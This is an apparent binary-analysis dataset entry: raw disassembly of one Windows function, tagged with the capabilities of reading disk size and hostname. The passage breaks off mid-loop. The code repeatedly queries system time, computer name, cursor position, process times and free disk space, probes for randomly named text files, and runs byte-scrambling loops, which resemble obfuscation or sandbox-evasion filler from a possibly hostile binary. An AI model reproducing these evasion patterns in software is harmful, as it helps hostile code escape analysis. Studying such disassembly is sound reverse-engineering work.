Function at 0x46b091
Capabilities:
Get disk size
Get hostname

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x474aa1
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x198e8
call fcn.00438c90
mov eax, dword [0x48f0c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x196d8]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov dword [ebp - 0x198b8], eax
call eax
lea eax, [ebp - 0x16a24]
mov dword [ebp - 0x16a24], 0x10
push eax
lea eax, [ebp - 0x74]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov dword [ebp - 0x198b4], eax
call eax
lea eax, [ebp - 0x184e8]
push eax
mov eax, dword [sym.imp.USER32.dll_GetCursorPos]
mov dword [ebp - 0x198bc], eax
call eax
mov eax, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x198a4], eax
call eax
push eax
mov eax, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x400
mov dword [ebp - 0x198a8], eax
call eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46b17e
lea ecx, [ebp - 0x184f0]
push ecx
lea ecx, [ebp - 0x184f8]
push ecx
lea ecx, [ebp - 0x18500]
push ecx
lea ecx, [ebp - 0x18508]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x18510]
push eax
lea eax, [ebp - 0x18518]
push eax
lea eax, [ebp - 0x18520]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0x47def4
mov dword [ebp - 0x198ac], eax
call eax
lea eax, [ebp - 0x196e8]
push eax
call dword [ebp - 0x198b8]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46b1f7
lea ecx, [ebp - 0x18528]
push ecx
lea ecx, [ebp - 0x18530]
push ecx
lea ecx, [ebp - 0x18538]
push ecx
lea ecx, [ebp - 0x18540]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push str.d78N
lea ecx, [ebp - 0x1702c]
call fcn.00401c92
cmp dword [ebp - 0x17018], 0xf
lea eax, [ebp - 0x1702c]
push 0xc8449c4
cmova eax, dword [ebp - 0x1702c]
push eax
push 0x47df1c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x1702c]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x159f8]
push 0
push eax
call fcn.00439fe0
movaps xmm0, xmmword [0x47f2a0]
add esp, 0xc
xor eax, eax
movaps xmmword [ebp - 0x198e0], xmm0
movaps xmm1, xmm0
movups xmm0, xmmword [ebp + eax - 0x159f8]
paddb xmm1, xmm0
movaps xmm0, xmmword [ebp - 0x198e0]
movups xmmword [ebp + eax - 0x159f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46b25f
push str.Ce1PenBP
lea ecx, [ebp - 0x186e0]
call fcn.00401c92
and dword [ebp - 4], 0
lea eax, [ebp - 0x186e0]
push 0x12e79899
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x186e0]
call fcn.004021f4
push str.BjCRu542p
lea ecx, [ebp - 0x186f8]
call fcn.00401c92
push 0x2fcfac16
lea eax, [ebp - 0x186f8]
mov dword [ebp - 4], 1
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x186f8]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x15df8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x15df8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x15df8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46b334
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.FT3XcylK.txt
mov dword [ebp - 0x198b0], eax
call eax
cmp eax, 0xffffffff
je 0x46b385
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46b3ca
lea ecx, [ebp - 0x18548]
push ecx
lea ecx, [ebp - 0x18550]
push ecx
lea ecx, [ebp - 0x18558]
push ecx
lea ecx, [ebp - 0x18560]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x18568]
push eax
lea eax, [ebp - 0x18570]
push eax
lea eax, [ebp - 0x18578]
push eax
push 0x47df70
call dword [ebp - 0x198ac]
push str.3Nmx
lea ecx, [ebp - 0x17044]
call fcn.00401c92
cmp dword [ebp - 0x17030], 0xf
lea eax, [ebp - 0x17044]
push 0x606561a
cmova eax, dword [ebp - 0x17044]
push eax
push 0x47df80
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x17044]
call fcn.004021f4
lea eax, [ebp - 0x196f8]
push eax
call dword [ebp - 0x198b8]
push str.PcVWty
lea ecx, [ebp - 0x18710]
call fcn.00401c92
push 0x10a780d2
lea eax, [ebp - 0x18710]
mov dword [ebp - 4], 2
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18710]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x161f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x161f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x161f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46b49d
push str.kzkRd
lea ecx, [ebp - 0x18728]
call fcn.00401c92
push 0x70e49c
lea eax, [ebp - 0x18728]
mov dword [ebp - 4], 3
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18728]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46b553
lea ecx, [ebp - 0x18580]
push ecx
lea ecx, [ebp - 0x18588]
push ecx
lea ecx, [ebp - 0x18590]
push ecx
lea ecx, [ebp - 0x18598]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x185a0]
push eax
call dword [ebp - 0x198bc]
push 0x47dfa0
lea ecx, [ebp - 0x18740]
call fcn.00401c92
push 0x4205095
lea eax, [ebp - 0x18740]
mov dword [ebp - 4], 4
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18740]
call fcn.004021f4
push str.P7OmXR
lea ecx, [ebp - 0x18758]
call fcn.00401c92
push 0x37d00ad9
lea eax, [ebp - 0x18758]
mov dword [ebp - 4], 5
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18758]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x165f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x165f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x165f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46b617
push str.LyFkscd7
lea ecx, [ebp - 0x170d4]
call fcn.00401c92
cmp dword [ebp - 0x170c0], 0xf
lea eax, [ebp - 0x170d4]
push 0xf83eb6b
cmova eax, dword [ebp - 0x170d4]
push eax
push 0x47dfd4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x170d4]
call fcn.004021f4
lea eax, [ebp - 0x185a8]
push eax
lea eax, [ebp - 0x185b0]
push eax
lea eax, [ebp - 0x185b8]
push eax
push 0x47dfdc
call dword [ebp - 0x198ac]
push 0x400
lea eax, [ebp - 0x169f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x169f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x169f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46b6b6
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.EDyHU0kle.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46b6f9
push eax
call esi
lea eax, [ebp - 0x185c0]
push eax
lea eax, [ebp - 0x185c8]
push eax
lea eax, [ebp - 0x185d0]
push eax
push 0x47e010
call dword [ebp - 0x198ac]
push str.iN0YI7v
lea ecx, [ebp - 0x170ec]
call fcn.00401c92
cmp dword [ebp - 0x170d8], 0xf
lea eax, [ebp - 0x170ec]
push 0x7a6a803
cmova eax, dword [ebp - 0x170ec]
push eax
push 0x47e028
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x170ec]
call fcn.004021f4
lea eax, [ebp - 0x19708]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x185d8]
push eax
lea eax, [ebp - 0x185e0]
push eax
lea eax, [ebp - 0x185e8]
push eax
push 0x47e038
call dword [ebp - 0x198ac]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.59QdGdr.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46b7ad
push eax
call esi
lea eax, [ebp - 0x185f0]
push eax
lea eax, [ebp - 0x185f8]
push eax
lea eax, [ebp - 0x18600]
push eax
push 0x47e068
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x16a28]
mov dword [ebp - 0x16a28], 0x10
push eax
lea eax, [ebp - 0x94]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x16a2c]
mov dword [ebp - 0x16a2c], 0x10
push eax
lea eax, [ebp - 0x34]
push eax
call dword [ebp - 0x198b4]
push 8
lea eax, [ebp - 0x18608]
push eax
mov eax, dword [sym.imp.WINMM.dll_timeGetDevCaps]
mov dword [ebp - 0x198c8], eax
call eax
mov ecx, dword [sym.imp.WINMM.dll_timeEndPeriod]
test eax, eax
mov eax, dword [sym.imp.WINMM.dll_timeBeginPeriod]
mov dword [ebp - 0x198c4], eax
mov dword [ebp - 0x198c0], ecx
jne 0x46b843
push 1
call eax
push 1
call dword [ebp - 0x198c0]
push 0x47e08c
lea ecx, [ebp - 0x18770]
call fcn.00401c92
push 0x2db4bb94
lea eax, [ebp - 0x18770]
mov dword [ebp - 4], 6
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18770]
call fcn.004021f4
lea eax, [ebp - 0x196c8]
push eax
call dword [ebp - 0x198b8]
push str.IRYny
lea ecx, [ebp - 0x170bc]
call fcn.00401c92
cmp dword [ebp - 0x170a8], 0xf
lea eax, [ebp - 0x170bc]
push 0x22366de1
cmova eax, dword [ebp - 0x170bc]
push eax
push 0x47e0a4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x170bc]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0xdf8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0xdf8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0xdf8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46b8fd
push str.kK1Jz3foJA
lea ecx, [ebp - 0x18788]
call fcn.00401c92
push 0xa3f6f30
lea eax, [ebp - 0x18788]
mov dword [ebp - 4], 7
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18788]
call fcn.004021f4
push str.GvoClU2
lea ecx, [ebp - 0x187a0]
call fcn.00401c92
push 0x17f6d06b
lea eax, [ebp - 0x187a0]
mov dword [ebp - 4], 8
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x187a0]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46b9f8
lea ecx, [ebp - 0x18610]
push ecx
lea ecx, [ebp - 0x18618]
push ecx
lea ecx, [ebp - 0x18620]
push ecx
lea ecx, [ebp - 0x18628]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46ba3d
lea ecx, [ebp - 0x18630]
push ecx
lea ecx, [ebp - 0x18638]
push ecx
lea ecx, [ebp - 0x18640]
push ecx
lea ecx, [ebp - 0x18648]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.m47zu.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46ba62
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46baa7
lea ecx, [ebp - 0x18650]
push ecx
lea ecx, [ebp - 0x18658]
push ecx
lea ecx, [ebp - 0x18660]
push ecx
lea ecx, [ebp - 0x18668]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x18670]
push eax
lea eax, [ebp - 0x18678]
push eax
lea eax, [ebp - 0x18680]
push eax
push 0x47e0f4
call dword [ebp - 0x198ac]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.Ywo8NiX4S0.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46baec
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46bb31
lea ecx, [ebp - 0x18688]
push ecx
lea ecx, [ebp - 0x18690]
push ecx
lea ecx, [ebp - 0x18698]
push ecx
lea ecx, [ebp - 0x186a0]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push str.1P0V4An
lea ecx, [ebp - 0x187b8]
call fcn.00401c92
push 0x26fe18c7
lea eax, [ebp - 0x187b8]
mov dword [ebp - 4], 9
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x187b8]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46bbc2
lea ecx, [ebp - 0x186a8]
push ecx
lea ecx, [ebp - 0x186b0]
push ecx
lea ecx, [ebp - 0x186b8]
push ecx
lea ecx, [ebp - 0x186c0]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x186c8]
push eax
call dword [ebp - 0x198bc]
push 8
lea eax, [ebp - 0x18eb0]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46bbf2
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19718]
push eax
call dword [ebp - 0x198b8]
push 8
lea eax, [ebp - 0x18eb8]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46bc22
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x18ec8]
push eax
call dword [ebp - 0x198bc]
push str.s451X
lea ecx, [ebp - 0x187d0]
call fcn.00401c92
push 0x2b4d4de2
lea eax, [ebp - 0x187d0]
mov dword [ebp - 4], 0xa
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x187d0]
call fcn.004021f4
push str.SQbWTwQQ
lea ecx, [ebp - 0x187e8]
call fcn.00401c92
push 0x1e40015d
lea eax, [ebp - 0x187e8]
mov dword [ebp - 4], 0xb
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x187e8]
call fcn.004021f4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.o1LsNTDk3f.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46bcec
push eax
call esi
lea eax, [ebp - 0x18ed0]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x18ed8]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x18ee0]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x18ee8]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x19728]
push eax
call dword [ebp - 0x198b8]
push 0x400
lea eax, [ebp - 0x11f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x11f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x11f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46bd45
push str.lF9uRU
lea ecx, [ebp - 0x170a4]
call fcn.00401c92
cmp dword [ebp - 0x17090], 0xf
lea eax, [ebp - 0x170a4]
push 0x20f8ad97
cmova eax, dword [ebp - 0x170a4]
push eax
push 0x47e1a4
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x170a4]
call fcn.004021f4
lea eax, [ebp - 0x19738]
push eax
call dword [ebp - 0x198b8]
push str.WIn2l
lea ecx, [ebp - 0x17074]
call fcn.00401c92
cmp dword [ebp - 0x17060], 0xf
lea eax, [ebp - 0x17074]
push 0x3a4d0353
cmova eax, dword [ebp - 0x17074]
push eax
push 0x47e1c0
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x17074]
call fcn.004021f4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.yV7K6oHSEu.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46be20
push eax
call esi
lea eax, [ebp - 0x18ef0]
push eax
lea eax, [ebp - 0x18ef8]
push eax
lea eax, [ebp - 0x184e0]
push eax
push 0x47e210
call dword [ebp - 0x198ac]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46be85
lea ecx, [ebp - 0x18f00]
push ecx
lea ecx, [ebp - 0x18f08]
push ecx
lea ecx, [ebp - 0x18f10]
push ecx
lea ecx, [ebp - 0x18f18]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push 0x400
lea eax, [ebp - 0x15f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x15f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x15f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46bea4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46bf07
lea ecx, [ebp - 0x18f20]
push ecx
lea ecx, [ebp - 0x18f28]
push ecx
lea ecx, [ebp - 0x18f30]
push ecx
lea ecx, [ebp - 0x18f38]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push 0x400
lea eax, [ebp - 0x19f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x19f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x19f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46bf26
lea eax, [ebp - 0x18f40]
push eax
lea eax, [ebp - 0x18f48]
push eax
lea eax, [ebp - 0x18f50]
push eax
push 0x47e23c
call dword [ebp - 0x198ac]
push 0x47e244
lea ecx, [ebp - 0x18800]
call fcn.00401c92
push 0x14ec9b7c
lea eax, [ebp - 0x18800]
mov dword [ebp - 4], 0xc
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18800]
call fcn.004021f4
push 0x47e248
lea ecx, [ebp - 0x1705c]
call fcn.00401c92
cmp dword [ebp - 0x17048], 0xf
lea eax, [ebp - 0x1705c]
push 0x2b60a1f0
cmova eax, dword [ebp - 0x1705c]
push eax
push 0x47e254
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x1705c]
call fcn.004021f4
push 8
lea eax, [ebp - 0x18f58]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46c015
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x18f60]
push eax
lea eax, [ebp - 0x18f68]
push eax
lea eax, [ebp - 0x18f70]
push eax
push 0x47e26c
call dword [ebp - 0x198ac]
push 8
lea eax, [ebp - 0x18f78]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46c058
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x18f80]
push eax
lea eax, [ebp - 0x18f88]
push eax
lea eax, [ebp - 0x18f90]
push eax
push 0x47e284
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x18f98]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x18fa0]
push eax
lea eax, [ebp - 0x18fa8]
push eax
lea eax, [ebp - 0x18fb0]
push eax
push 0x47e294
call dword [ebp - 0x198ac]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46c0ea
lea ecx, [ebp - 0x18fb8]
push ecx
lea ecx, [ebp - 0x18fc0]
push ecx
lea ecx, [ebp - 0x18fc8]
push ecx
lea ecx, [ebp - 0x18fd0]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
lea eax, [ebp - 0x19748]
push eax
call dword [ebp - 0x198b8]
lea eax, [ebp - 0x16a30]
mov dword [ebp - 0x16a30], 0x10
push eax
lea eax, [ebp - 0xb4]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x18fd8]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x18fe0]
push eax
lea eax, [ebp - 0x18fe8]
push eax
lea eax, [ebp - 0x18ff0]
push eax
push 0x47e29c
call dword [ebp - 0x198ac]
push 0x400
lea eax, [ebp - 0x1df8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
mov ecx, 0x400
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x1df8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x1df8], xmm1
add eax, 0x10
cmp eax, ecx
jb 0x46c15f
push ecx
lea eax, [ebp - 0x21f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
mov ecx, 0x400
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x21f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x21f8], xmm1
add eax, 0x10
cmp eax, ecx
jb 0x46c19a
push ecx
lea eax, [ebp - 0x25f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x25f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x25f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46c1d0
push 8
lea eax, [ebp - 0x18ff8]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46c218
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19000]
push eax
lea eax, [ebp - 0x19008]
push eax
lea eax, [ebp - 0x19010]
push eax
push 0x47e2ac
call dword [ebp - 0x198ac]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198cc], eax
test eax, eax
je 0x46c27d
lea ecx, [ebp - 0x19018]
push ecx
lea ecx, [ebp - 0x19020]
push ecx
lea ecx, [ebp - 0x19028]
push ecx
lea ecx, [ebp - 0x19030]
push ecx
push eax
call edi
push dword [ebp - 0x198cc]
call esi
push str.SVEVdF
lea ecx, [ebp - 0x18818]
call fcn.00401c92
push 0x414b3ba
lea eax, [ebp - 0x18818]
mov dword [ebp - 4], 0xd
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18818]
call fcn.004021f4
push str.r7XKV
lea ecx, [ebp - 0x16ec4]
call fcn.00401c92
cmp dword [ebp - 0x16eb0], 0xf
lea eax, [ebp - 0x16ec4]
push 0x20b8e99b
cmova eax, dword [ebp - 0x16ec4]
push eax
push 0x47e2f0
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16ec4]
call fcn.004021f4
lea eax, [ebp - 0x19758]
push eax
call dword [ebp - 0x198b8]
push 0x400
lea eax, [ebp - 0x29f8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x29f8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x29f8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46c330
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.IsHvPxgvy.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46c37a
push eax
call esi
push str.7zeE6Qy
lea ecx, [ebp - 0x16e94]
call fcn.00401c92
cmp dword [ebp - 0x16e80], 0xf
lea eax, [ebp - 0x16e94]
push 0x354f20a6
cmova eax, dword [ebp - 0x16e94]
push eax
push 0x47e33c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16e94]
call fcn.004021f4
push str.4CLjdhm3
lea ecx, [ebp - 0x18830]
call fcn.00401c92
push 0x1dc7932f
lea eax, [ebp - 0x18830]
mov dword [ebp - 4], 0xe
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18830]
call fcn.004021f4
push str.sh6Xz
lea ecx, [ebp - 0x18848]
call fcn.00401c92
push 0x1d1fe2a2
lea eax, [ebp - 0x18848]
mov dword [ebp - 4], 0xf
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18848]
call fcn.004021f4
push str.25T8YN
lea ecx, [ebp - 0x16b64]
call fcn.00401c92
cmp dword [ebp - 0x16b50], 0xf
lea eax, [ebp - 0x16b64]
push 0x32caea2b
cmova eax, dword [ebp - 0x16b64]
push eax
push 0x47e368
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16b64]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x2df8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x2df8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x2df8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46c4b5
lea eax, [ebp - 0x19768]
push eax
call dword [ebp - 0x198b8]
push 0x400
lea eax, [ebp - 0x31f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x31f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x31f8], xmm0
